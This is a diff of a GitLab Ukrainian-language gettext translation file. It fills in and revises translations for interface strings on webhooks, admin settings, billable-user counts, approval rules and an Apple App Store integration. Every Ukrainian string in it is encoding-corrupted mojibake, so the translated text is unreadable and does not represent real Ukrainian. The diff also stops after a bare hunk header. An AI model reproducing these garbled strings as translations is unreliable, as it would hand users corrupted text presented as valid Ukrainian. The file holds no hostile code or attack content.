msgstr "%{webhooks_link_start}%{webhook_type}%{link_end} надає можливіÑÑ‚ÑŒ надÑилати ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ Ð½Ð° веб-заÑтоÑунки у відповідь на події у групі або в проєкті."
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
-msgstr ""
+msgstr "За допомогою %{webhooks_link_start}%{webhook_type}%{link_end} можна надÑилати ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ Ð´Ð¾ вебзаÑтоÑунків у відповідь на події в групі або проєкті. Ми рекомендуємо викориÑтовувати %{integrations_link_start}інтеграцію%{link_end}, а не вебхук."
msgid "%{widget} options"
msgstr "%{widget} опції"
@@ -1477,7 +1486,7 @@ msgid "'%{template_name}' is unknown or invalid"
msgstr "\"%{template_name}\" невідомий або неправильний"
msgid "'%{value}' days of inactivity must be greater than or equal to 90"
-msgstr ""
+msgstr "«%{value}» днів бездіÑльноÑÑ‚Ñ– має бути більше або дорівнювати 90"
msgid "(%d closed)"
msgid_plural "(%d closed)"
@@ -1499,7 +1508,7 @@ msgid "(Group Managed Account)"
msgstr "(Обліковий Ð·Ð°Ð¿Ð¸Ñ ÐºÐµÑ€Ð¾Ð²Ð°Ð½Ð¾Ñ— групи)"
msgid "(Limited to %{quota} pipeline minutes per month)"
-msgstr ""
+msgstr "(Обмежено %{quota} хвилинами конвеєра на міÑÑць)"
msgid "(No changes)"
msgstr "(Ðемає змін)"
@@ -1508,7 +1517,7 @@ msgid "(UTC %{offset}) %{timezone}"
msgstr "(UTC %{offset}) %{timezone}"
msgid "(Unlimited pipeline minutes)"
-msgstr ""
+msgstr "(Ðеобмежена кількіÑÑ‚ÑŒ хвилин конвеєра)"
msgid "(check progress)"
msgstr "(перевірити прогреÑ)"
@@ -1615,7 +1624,7 @@ msgid "- Go to the Activity page for %{project_name}."
msgstr "- Перейдіть на Ñторінку активноÑÑ‚Ñ– Ð´Ð»Ñ %{project_name}."
msgid "- List the visible events for %{project_name} using the Events API %{events_api_link}."
-msgstr ""
+msgstr "- СпиÑок видимих подій Ð´Ð»Ñ %{project_name} за допомогою Події API %{events_api_link}."
msgid "- Not available to run jobs."
msgstr "- ÐедоÑтупний Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑку завдань."
@@ -1805,11 +1814,11 @@ msgstr[2] "%d ролей"
msgstr[3] "%d ролей"
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] "1 кориÑтувач"
-msgstr[1] "%{num} кориÑтувачі"
-msgstr[2] "%{num} кориÑтувачів"
-msgstr[3] "%{num} кориÑтувачів"
+msgstr[1] "%d кориÑтувачі"
+msgstr[2] "%d кориÑтувачів"
+msgstr[3] "%d кориÑтувачів"
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1991,10 +2000,10 @@ msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
msgstr "Ðеконфіденційний епік не може бути призначеним Ð´Ð»Ñ ÐºÐ¾Ð½Ñ„Ñ–Ð´ÐµÐ½Ñ†Ñ–Ð¹Ð½Ð¾Ð³Ð¾ батьківÑького епіка"
msgid "A non-confidential issue cannot have a confidential parent."
-msgstr ""
+msgstr "Ðеконфіденційна задача не може мати конфіденційного батька."
msgid "A non-confidential work item cannot have a confidential parent."
-msgstr ""
+msgstr "Ðеконфіденційний робочий елемент не може мати конфіденційного батька."
msgid "A page with that title already exists"
msgstr "Сторінка з таким заголовком вже Ñ–Ñнує"
@@ -2038,6 +2047,9 @@ msgstr "ÐŸÐµÑ€ÐµÐ±Ð°Ð·ÑƒÐ²Ð°Ð½Ð½Ñ (rebase) вже в прогреÑÑ–."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Вхід до вашого облікового запиÑу був зроблений з наÑтупної IP-адреÑи: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr "Шаблон ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ проєкту TYPO3"
+
msgid "A title is required"
msgstr "Ðеобхідно вказати заголовок"
@@ -2182,9 +2194,6 @@ msgstr "Ідентифікатор ключа доÑтупу AWS (необов'Ñ
msgid "AWS secret access key (Optional)"
msgstr "Секретний ключ доÑтупу AWS (необов'Ñзково)"
-msgid "AWS service error: %{error}"
-msgstr "Помилка ÑервіÑу AWS: %{error}"
-
msgid "Abort"
msgstr "Зупинити"
@@ -2233,9 +2242,6 @@ msgstr "Токени доÑтупу"
msgid "Access denied for your LDAP account."
msgstr "ДоÑтуп до вашого облікового запиÑу LDAP заборонено."
-msgid "Access denied: %{error}"
-msgstr "ДоÑтуп заборонено: %{error}"
-
msgid "Access expires"
msgstr "Ð§Ð°Ñ Ð´Ð¾Ñтупу закінчуєтьÑÑ"
@@ -2324,7 +2330,7 @@ msgid "AccessTokens|You can generate a personal access token for each applicatio
msgstr "Ви можете згенерувати перÑональний токен доÑтупу Ð´Ð»Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ заÑтоÑунку, Ñкий ви викориÑтовуєти Ñ– Ñкий потребує доÑтупу до GitLab API."
msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
-msgstr ""
+msgstr "Ваш токен доÑтупу до каналів автентифікує ваÑ, коли ваш читач RSS завантажує перÑоналізований канал RSS або коли ваша програма ÐºÐ°Ð»ÐµÐ½Ð´Ð°Ñ€Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÑƒÑ” перÑоналізований календар. Вони видимі у цих URL-адреÑах подач."
msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr "Ваш токен Ð´Ð»Ñ Ð²Ñ…Ñ–Ð´Ð½Ð¸Ñ… повідомлень електронної пошти викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ—, коли ви Ñтворюєте нові задачі через електронну пошту Ñ– включаєтьÑÑ Ð´Ð¾ ваших оÑобиÑтих Ð°Ð´Ñ€ÐµÑ ÐµÐ»ÐµÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти Ð´Ð»Ñ ÐºÐ¾Ð½ÐºÑ€ÐµÑ‚Ð½Ð¾Ð³Ð¾ проєкту."
@@ -2395,8 +2401,8 @@ msgstr "Дії"
msgid "Activate Service Desk"
msgstr "Ðктивувати Службу підтримки"
-msgid "Activated on"
-msgstr "Ðктивовано"
+msgid "Activated"
+msgstr "Ðктивований"
msgid "Active"
msgstr "Ðктивний"
@@ -2473,6 +2479,9 @@ msgstr "Додати ÑпиÑок"
msgid "Add a collapsible section"
msgstr "Додати згорнуту Ñекцію"
+msgid "Add a comment"
+msgstr "Додати коментар"
+
msgid "Add a comment to this line"
msgstr "Додати коментар до цього Ñ€Ñдка"
@@ -2480,7 +2489,7 @@ msgid "Add a comment to this line or drag for multiple lines"
msgstr "Додати коментар до цього Ñ€Ñдка або перетÑгніть Ð´Ð»Ñ ÐºÑ–Ð»ÑŒÐºÐ¾Ñ… Ñ€Ñдків"
msgid "Add a confidential internal note to this %{noteableDisplayName}."
-msgstr ""
+msgstr "Додайте конфіденційну внутрішню нотатку до цього %{noteableDisplayName}."
msgid "Add a custom message with details about the instance's shared runners. The message is visible when you view runners for projects and groups. Markdown is supported."
msgstr "Додайте Ñпеціальне Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð· детальними відомоÑÑ‚Ñми про Ñпільні раннери. ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð²Ð¸Ð´Ð¸Ð¼Ðµ, коли ви переглÑдаєте раннери проєктів та групи. ПідтримуєтьÑÑ Markdown."
@@ -2510,7 +2519,7 @@ msgid "Add a table"
msgstr "Додати таблицю"
msgid "Add a timeline event to incident"
-msgstr ""
+msgstr "Додати подію чаÑової шкали до інциденту"
msgid "Add a title..."
msgstr "Додати назву..."
@@ -2552,7 +2561,7 @@ msgid "Add comment to design"
msgstr "Додати коментар до дизайну"
msgid "Add comment to incident timeline"
-msgstr ""
+msgstr "Додати коментар до хронології інциденту"
msgid "Add comment..."
msgstr "Додати коментар..."
@@ -2657,7 +2666,7 @@ msgid "Add text to the sign-in page. Markdown enabled."
msgstr "Додати текÑÑ‚ до Ñторінки входу. Markdown увімкнено."
msgid "Add time entry"
-msgstr ""
+msgstr "Додати Ð·Ð°Ð¿Ð¸Ñ Ñ‡Ð°Ñу"
msgid "Add to board"
msgstr "Додати на дошку"
@@ -2789,7 +2798,7 @@ msgid "Adds a resource link for this incident."
msgstr "Додає поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° реÑÑƒÑ€Ñ Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ інциденту."
msgid "Adds a timeline event to incident."
-msgstr ""
+msgstr "Додає подію на чаÑовій шкалі до інциденту."
msgid "Adds a to do."
msgstr "Додати нагадуваннÑ."
@@ -2851,15 +2860,18 @@ msgstr "Ðктивні кориÑтувачі"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr "Ð’ÑÑ– кориÑтувачі Ñтворили в інÑтанÑÑ–, включаючи кориÑтувачів , Ñкі не Ñ” %{billable_users_link_start}оплачувані кориÑтувачі%{billable_users_link_end}."
-msgid "AdminArea|Billable users"
-msgstr "Платні кориÑтувачі"
-
msgid "AdminArea|Blocked users"
msgstr "Заблоковані кориÑтувачі"
msgid "AdminArea|Bots"
msgstr "Боти"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr "Ðналіз кориÑтувачів Ð´Ð»Ñ Ð¾Ð¿Ð»Ð°Ñ‚Ð¸"
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "Компоненти"
@@ -2941,11 +2953,20 @@ msgstr "Зупинити завданнÑ"
msgid "AdminArea|Stopping jobs failed"
msgstr "Зупинка завдань пройшла невдало"
+msgid "AdminArea|Total Billable users"
+msgstr "Загальна кількіÑÑ‚ÑŒ оплачуваних кориÑтувачів"
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr "Загальна кількіÑÑ‚ÑŒ кориÑтувачів, Ñкі не оплачуютьÑÑ"
+
msgid "AdminArea|Total users"
msgstr "Загальна кількіÑÑ‚ÑŒ кориÑтувачів"
+msgid "AdminArea|Totals"
+msgstr "Разом"
+
msgid "AdminArea|Updated %{last_update_time}"
-msgstr ""
+msgstr "Оновлено %{last_update_time}"
msgid "AdminArea|Users"
msgstr "КориÑтувачі"
@@ -2971,6 +2992,12 @@ msgstr "ПереглÑнути оÑтанніх кориÑтувачів"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr "Ви збираєтеÑÑ Ð·ÑƒÐ¿Ð¸Ð½Ð¸Ñ‚Ð¸ вÑÑ– завданнÑ. Ð’Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ Ð²ÑÑ–Ñ… запущених завдань буде перервано."
+msgid "AdminArea|active users + blocked users"
+msgstr "активні кориÑтувачі + заблоковані кориÑтувачі"
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr "загальна Ñума, що підлÑгає оплаті + загальна Ñума, що не підлÑгає оплаті"
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Помилка при завантаженні ÑтатиÑтики. Будь лаÑка, Ñпробуйте знову"
@@ -2978,13 +3005,13 @@ msgid "AdminEmail|Body"
msgstr "Тіло"
msgid "AdminEmail|Body is required."
-msgstr ""
+msgstr "Тіло Ñ” обов'Ñзковим."
msgid "AdminEmail|Recipient group or project"
-msgstr ""
+msgstr "Група одержувача або проєкт"
msgid "AdminEmail|Recipient group or project is required."
-msgstr ""
+msgstr "Ðазва групи одержувача або проєкт Ñ” обов'Ñзковим."
msgid "AdminEmail|Subject"
msgstr "Тема"
@@ -3025,6 +3052,9 @@ msgstr "Ð’ÑÑ– нові проєкти за замовчуваннÑм можуÑ
msgid "AdminSettings|Auto DevOps domain"
msgstr "Домен Auto DevOps"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr "За замовчуваннÑм вÑтановіть Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð½Ð° 0 Ð´Ð»Ñ Ð²Ñ–Ð´ÑутноÑÑ‚Ñ– ліміту."
+
msgid "AdminSettings|CI/CD limits"
msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ CI/CD"
@@ -3035,13 +3065,13 @@ msgid "AdminSettings|Configure Let's Encrypt"
msgstr "Ðалаштувати Let's Encrypt"
msgid "AdminSettings|Configure limits on the number of repositories users can download in a given time."
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð»Ñ–Ð¼Ñ–Ñ‚Ñ–Ð² на кількіÑÑ‚ÑŒ репозиторіїв, Ñкі кориÑтувачі можуть завантажити за певний чаÑ."
msgid "AdminSettings|Configure product analytics to track events within your project applications."
msgstr "Ðалаштувати аналітику продукту Ð´Ð»Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð¿Ð¾Ð´Ñ–Ð¹ у ваших проєктних заÑтоÑунках."
msgid "AdminSettings|Configure when inactive projects should be automatically deleted. %{linkStart}What are inactive projects?%{linkEnd}"
-msgstr ""
+msgstr "Ðалаштуйте, коли неактивні проєкти мають автоматично видалÑтиÑÑ. %{linkStart}Що таке неактивні проєкти?%{linkEnd}"
msgid "AdminSettings|Cube API URL"
msgstr "URL-адреÑа Cube API"
@@ -3065,28 +3095,28 @@ msgid "AdminSettings|Disable feed token"
msgstr "Вимкнути токен Ð´Ð»Ñ ÐºÐ°Ð½Ð°Ð»Ñ–Ð²"
msgid "AdminSettings|Disable public access to Pages sites"
-msgstr ""
+msgstr "Вимкнути публічний доÑтуп до Ñторінок"
msgid "AdminSettings|Display a banner on merge requests in projects with no pipelines to initiate steps to add a .gitlab-ci.yml file."
msgstr "Відображає банер щодо запитів на Ð¾Ð±â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð² проєктах без конвеєрів, щоб розпочати кроки Ð´Ð»Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñƒ .gitlab-ci.yml."
msgid "AdminSettings|Domain verification is an essential security measure for public GitLab sites. Users are required to demonstrate they control a domain before it is enabled. %{link_start}Learn more.%{link_end}"
-msgstr ""
+msgstr "Перевірка домену Ñ” важливим заходом безпеки Ð´Ð»Ñ Ð¿ÑƒÐ±Ð»Ñ–Ñ‡Ð½Ð¸Ñ… Ñайтів GitLab. КориÑтувачі повинні продемонÑтрувати, що вони контролюють домен, перш ніж його буде увімкнено. %{link_start}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ.%{link_end}"
msgid "AdminSettings|Elasticsearch indexing"
-msgstr ""
+msgstr "ІндекÑÐ°Ñ†Ñ–Ñ Elasticsearch"
msgid "AdminSettings|Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
-msgstr ""
+msgstr "Електронна пошта від GitLab - відправлÑйте електронні лиÑти кориÑтувачам прÑмо з ОблаÑÑ‚Ñ– ÐдмініÑтратора. %{link_start}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{link_end}."
msgid "AdminSettings|Enable Registration Features"
-msgstr ""
+msgstr "Увімкнути функції реєÑтрації"
msgid "AdminSettings|Enable Service Ping"
-msgstr ""
+msgstr "Увімкнути Ñлужбу Ping"
msgid "AdminSettings|Enable collection of application metrics. Restart required. %{link_start}Learn how to export metrics to Prometheus%{link_end}."
-msgstr ""
+msgstr "Увімкнути збір метрик програми. Потрібен перезапуÑк. %{link_start}ДізнайтеÑÑ, Ñк екÑпортувати метрики до Prometheus%{link_end}."
msgid "AdminSettings|Enable kuromoji custom analyzer: Indexing"
msgstr ""
@@ -3094,6 +3124,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr "Увімкнути банер пропозицій конвеєра"
@@ -3140,7 +3173,7 @@ msgid "AdminSettings|Import sources"
msgstr "Імпорт джерел"
msgid "AdminSettings|Inactive project deletion"
-msgstr ""
+msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð½ÐµÐ°ÐºÑ‚Ð¸Ð²Ð½Ð¾Ð³Ð¾ проєкту"
msgid "AdminSettings|Instance runners expiration"
msgstr "Термін дії групових раннерів"
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr "МакÑимальна кількіÑÑ‚ÑŒ кориÑтувацьких доменів на проєкт"
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3212,7 +3248,7 @@ msgid "AdminSettings|Pause Elasticsearch indexing"
msgstr ""
msgid "AdminSettings|Preview payload"
-msgstr ""
+msgstr "Попередній переглÑд кориÑного навантаженнÑ"
msgid "AdminSettings|Project export"
msgstr "ЕкÑпорт проєкту"
@@ -3268,9 +3304,6 @@ msgstr "ТриваліÑÑ‚ÑŒ ÑеÑÑ–Ñ— Ð´Ð»Ñ Ð¾Ð¿ÐµÑ€Ð°Ñ†Ñ–Ñ— з Git, коли
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr "Ð’Ñтановити шаблон CI/CD Ñк необхідну конфігурацію конвеєра Ð´Ð»Ñ Ð²ÑÑ–Ñ… проєктів інÑтанÑа. ÐšÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ CI/CD об'єднуєтьÑÑ Ð² необхідну конфігурацію конвеєра під Ñ‡Ð°Ñ Ð·Ð°Ð¿ÑƒÑку конвеєра. %{link_start}Що Ñ” необхідною конфігурацією Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð²?%{link_end}"
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr "Ð’Ñтановити термін дії токенів автентифікації щойно зареєÑтрованих групових раннерів."
@@ -3316,6 +3349,9 @@ msgstr "Шаблон Ð´Ð»Ñ Ð½ÐµÐ¾Ð±Ñ…Ñ–Ð´Ð½Ð¾Ñ— конфігурації кон
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3562,8 +3598,8 @@ msgstr "Важлива Ñ–Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ викориÑÑ‚Ð°Ð½Ð½Ñ Ð²Ð°
msgid "AdminUsers|Is using seat"
msgstr "ВикориÑтовує міÑце"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
-msgstr "Задачи, Ñтворені цим кориÑтувачем, приховані від інших кориÑтувачів"
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
+msgstr ""
msgid "AdminUsers|It's you!"
msgstr "Це ви!"
@@ -3607,6 +3643,9 @@ msgstr "ПерÑональні проєкти буде збережено"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "ПерÑональні проєкти, групи, та Ñ–Ñторію кориÑтувача буде залишено без змін"
+msgid "AdminUsers|Private profile"
+msgstr "Приватний профіль"
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "Квота CI/CD хвилин"
@@ -3865,6 +3904,9 @@ msgstr "ПіÑÐ»Ñ Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ його дії ви не
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr "ПіÑÐ»Ñ Ð°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ñ–Ñ— інтеграції Apple App Store Connect будуть Ñтворені такі захищені змінні Ð´Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑÑ‚Ð°Ð½Ð½Ñ CI/CD."
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr "ПіÑÐ»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ ÐµÐºÑпорту завантажте файл даних із Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти або з цієї Ñторінки. Потім ви можете імпортувати файл даних із %{strong_text_start}Створити нову Ñторінку групи %{strong_text_end} іншого інÑтанÑа GitLab."
@@ -4507,9 +4549,6 @@ msgstr "Помилка під Ñ‡Ð°Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚Ð¾Ð²Ð°
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr "Під Ñ‡Ð°Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ñ–Ñ— вашої ролі ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "Помилка під Ñ‡Ð°Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸ шлÑху до групи. Оновіть Ñторінку та Ñпробуйте ще раз."
@@ -4678,15 +4717,6 @@ msgstr "Помилка при завантаженні результатів з
msgid "An error occurred while loading projects."
msgstr "Під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð² ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
-msgid "An error occurred while loading the Jobs tab."
-msgstr "Виникла помилка під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð²ÐºÐ»Ð°Ð´ÐºÐ¸ завдань."
-
-msgid "An error occurred while loading the Needs tab."
-msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при завантаженні необхідної вкладки."
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr "Виникла помилка при завантаженні вкладки зі звітами про теÑтуваннÑ."
-
msgid "An error occurred while loading the blob controls."
msgstr "Виникла помилка під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð±Ñ–Ð½Ð°Ñ€Ð½Ð¸Ñ… даних."
@@ -4720,9 +4750,6 @@ msgstr "Помилка при завантаженні запиту на злиÑ
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½ÑŒ Ñповіщень ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка Ñпробуйте ще раз."
-msgid "An error occurred while loading the pipeline."
-msgstr "Помилка при завантаженні конвеєра."
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "Помилка при завантаженні завдань конвеєра."
@@ -4976,6 +5003,18 @@ msgstr "Додати коментар з %{shrug}"
msgid "Append the comment with %{tableflip}"
msgstr "Додати коментар з %{tableflip}"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr "Ідентифікатор емітента Apple App Store Connect."
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr "Ідентифікатор ключа Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Apple App Store."
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr "Приватний ключ Apple App Store Connect."
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr "ВикориÑтовуйте Gitlab Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ‚Ð° випуÑку програми у магазині Apple App Store."
+
msgid "Application"
msgstr "Додаток"
@@ -5087,10 +5126,10 @@ msgid "ApplicationSettings|Minimum password length (number of characters)"
msgstr "Мінімальна довжина Ð¿Ð°Ñ€Ð¾Ð»Ñ (кількіÑÑ‚ÑŒ Ñимволів)"
msgid "ApplicationSettings|New users can sign up without confirming their email address."
-msgstr ""
+msgstr "Ðові кориÑтувачі можуть зареєÑтруватиÑÑ, не підтверджуючи Ñвою електронну адреÑу."
msgid "ApplicationSettings|Off"
-msgstr ""
+msgstr "Вимкнено"
msgid "ApplicationSettings|Only users with e-mail addresses that match these domain(s) can sign up. Wildcards allowed. Use separate lines for multiple entries. Example: domain.com, *.domain.com"
msgstr ""
@@ -5122,9 +5161,6 @@ msgstr "Див. %{linkStart}правила політики паролів%{link
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr "ÐадіÑлати лиÑта на пошту з підтвердженнÑм під Ñ‡Ð°Ñ Ñ€ÐµÑ”Ñтрації"
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr "РеєÑтрацію увімкнено"
@@ -5216,6 +5252,9 @@ msgstr "ЗаÑтоÑÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ð¿Ð¾Ð·Ð¸Ñ†Ñ–Ñ—..."
msgid "Applying suggestions..."
msgstr "ЗаÑтоÑÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ð¿Ð¾Ð·Ð¸Ñ†Ñ–Ð¹..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "Правила затвердженнÑ"
@@ -5317,7 +5356,7 @@ msgid "ApprovalRule|Try for free"
msgstr "Спробувати безкоштовно"
msgid "ApprovalSettings|Keep approvals"
-msgstr ""
+msgstr "Залишити затвердженнÑ"
msgid "ApprovalSettings|Merge request approval settings have been updated."
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð¾."
@@ -5338,10 +5377,10 @@ msgid "ApprovalSettings|Prevent editing approval rules in projects and merge req
msgstr "Заборонити редагувати правила ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ Ñƒ проєктах та запитах на злиттÑ."
msgid "ApprovalSettings|Remove all approvals"
-msgstr ""
+msgstr "Видалити вÑÑ– затвердженнÑ"
msgid "ApprovalSettings|Remove approvals by Code Owners if their files changed"
-msgstr ""
+msgstr "Видалити Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð»Ð°Ñниками коду, Ñкщо Ñ—Ñ… файли змінено"
msgid "ApprovalSettings|Require user password to approve"
msgstr "Вимагати пароль кориÑтувача Ð´Ð»Ñ Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ"
@@ -5364,6 +5403,9 @@ msgstr "Коли додаєтьÑÑ ÐºÐ¾Ð¼Ñ–Ñ‚:"
msgid "Approvals are optional."
msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð½ÐµÐ¾Ð±Ð¾Ð²'Ñзкові."
+msgid "Approvals required"
+msgstr "Потрібні затвердженнÑ"
+
msgid "Approvals|Section: %section"
msgstr "Розділ: %section"
@@ -5513,7 +5555,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "Are you sure you want to leave the Web IDE? All unsaved changes will be lost."
-msgstr ""
+msgstr "Ви впевнені, що бажаєте залишити веб-IDE? УÑÑ– незбережені зміни буде втрачено."
msgid "Are you sure you want to lock %{path}?"
msgstr "Ви впевнені, що хочете заблокувати %{path}?"
@@ -5923,6 +5965,9 @@ msgstr "СкаÑувати редагуваннÑ"
